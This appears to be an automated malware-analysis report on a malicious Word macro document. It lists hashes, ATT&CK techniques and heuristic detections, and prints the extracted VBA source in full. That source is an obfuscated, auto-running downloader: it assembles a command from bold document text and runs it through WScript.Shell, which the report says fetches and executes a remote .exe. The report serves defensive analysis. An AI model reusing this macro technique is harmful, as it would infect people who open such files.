Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3a8c2c5c149054ff…

MALICIOUS

Office (OOXML)

172.7 KB Created: 2020-03-27 17:19:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: aa2f099a4add180a942829b251cffee5 SHA-1: ee03ea522ce679eb21e1d9ed6c5f87e0c1117269 SHA-256: 3a8c2c5c149054ff41db98221265313ed70ed78554027369bfb418bbcc231f38
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains a VBA macro that automatically executes upon opening. This macro utilizes WScript.Shell to create an object and execute a command. The script attempts to download and execute a file from the URL 'http://samples.roberson.com/Aperhesis.exe'. This indicates a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    End If
    Set jhgfdsffghbb = CreateObject("WScript.Shell")
    jhgfdsffghbb.Run rINhetGow, 2 - 2.1
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End If
    Set jhgfdsffghbb = CreateObject("WScript.Shell")
    jhgfdsffghbb.Run rINhetGow, 2 - 2.1
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    Call hjnbb
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3590 bytes
SHA-256: 19038f5a323337013f3b8ed1ca72777b612f363cdd5785ee3b6f597bf2bb9626
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Open()
Call hjnbb
End Sub


Private Sub hjnbb()

If 47.545 + Sin(85.8766) = Log(56.678) + Cos(784.5678) Then




Else

While "ngfdgg" = "hjgfdsgh"
gdfgjkkkd = "gdfhjj"
sdgssRh = "sdghu7t"
Wend


If "vb6" = "scvv" Then
While "SNRR" = "mPKM"
AOWR = 7.67
uEPq = "Zcv"
doqY = 4.53
mY = 4.6
Wend
fmFXs = "GXmXFi"
gaVPRb = "RZL"
PaQ = 10
OXBk = 8#
AC = 5#
JQqej = "fy"
jIReucz = 2.81
JhE = 99089
byv = "wDtc"
BCFNb = "HOn"
oDjbtb = 5.16
Lr = 78
Xveow = 2.58
iBvYNoY = "Hat"
End If


Dim Words, Chars, MyString
For Words = 10 To 1 Step -1 ' Set up 10 repetitions.
 For Chars = 0 To 9 ' Set up 10 repetitions.
 MyString = MyString & Chars ' Append number to string.
 Next Chars ' Increment counter
 MyString = MyString & " " ' Append a space.
Next Words

Call WriJZqz

End If


End Sub




Attribute VB_Name = "UQZjUgN"


#If VBA7 Then


#Else


#End If




Public Sub WriJZqz()

On Error Resume Next


If 1.22844468944319E+16 > 28098401458904# Then


Dim vluyq As Long


vluyq = (11 - 5) / 15


If IsDate(vwjinankpvwvefoztpiabvgxkg) And ((453110 + 5919704) / (183330 + 9)) <> 1.22844468944319E+16 Then

End If



End If


If 9 > 8698837450# Then


Dim vgyna As Long


vgynaz = (8698837450# - 5919704) / 11


If IsDate(pQS4udMems1WIH1Y) And ((453110 + 5919704) / (183330 + 9)) <> 1.22844468944319E+16 Then

End If



End If




   Dim myShape As InlineShape
    Dim myRange As Range
    For Each myRange In ActiveDocument.StoryRanges
        For Each myShape In myRange.InlineShapes
            myShape.Delete
        Next myShape
    Next myRange
Dim privadte As String
Dim oRng As Range
Dim oNewRng As Range
Set oRng = Selection.Range '(the formatted range you are wanting to write)
oRng.MoveEndWhile Chr(32), wdBackward 'Remove trailing spaces from the range
Set oNewRng = ActiveDocument.Range 'Locate the range where it is to be written
oNewRng.Collapse wdCollapseEnd
'oNewRng.FormattedText = oRng 'then write it.





 Dim Para As Paragraph
    Dim i As Long

    Application.ScreenUpdating = False
    With ActiveDocument
        For i = .Paragraphs.Count To 1 Step -1
            Set Para = .Paragraphs(i)
            With Para
                If .Range.End - .Range.Start = 1 Then
                    .Range.Delete
                Else
                    .SpaceBefore = 6
                    .SpaceAfter = 6
                End If
            End With
        Next i
    End With
    Application.ScreenUpdating = True




Dim singleLine As Paragraph
   Dim rng As Range
   Dim pos As Integer
    Dim Wrd As Range

   For Each singleLine In ActiveDocument.Paragraphs
      Set rng = singleLine.Range
   
   
    
    
         If rng.Font.Bold Then
            'MsgBox "This is bold"
               lineText = singleLine.Range.Text
          rINhetGow = rINhetGow + lineText
        
       ' MsgBox (rINhetGow)
         End If
     
   Next


rINhetGow = Replace(rINhetGow, "inkehvaoudlcy", "")

If Log(54.453) = 54.5434 Then

MsgBox (rINhetGow1)
Else

End If
Set jhgfdsffghbb = CreateObject("WScript.Shell")
jhgfdsffghbb.Run rINhetGow, 2 - 2.1


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 90cc59a92302b894d1e6e0728c22c8ee3c7794ef20275e77c6f847b05075fd4b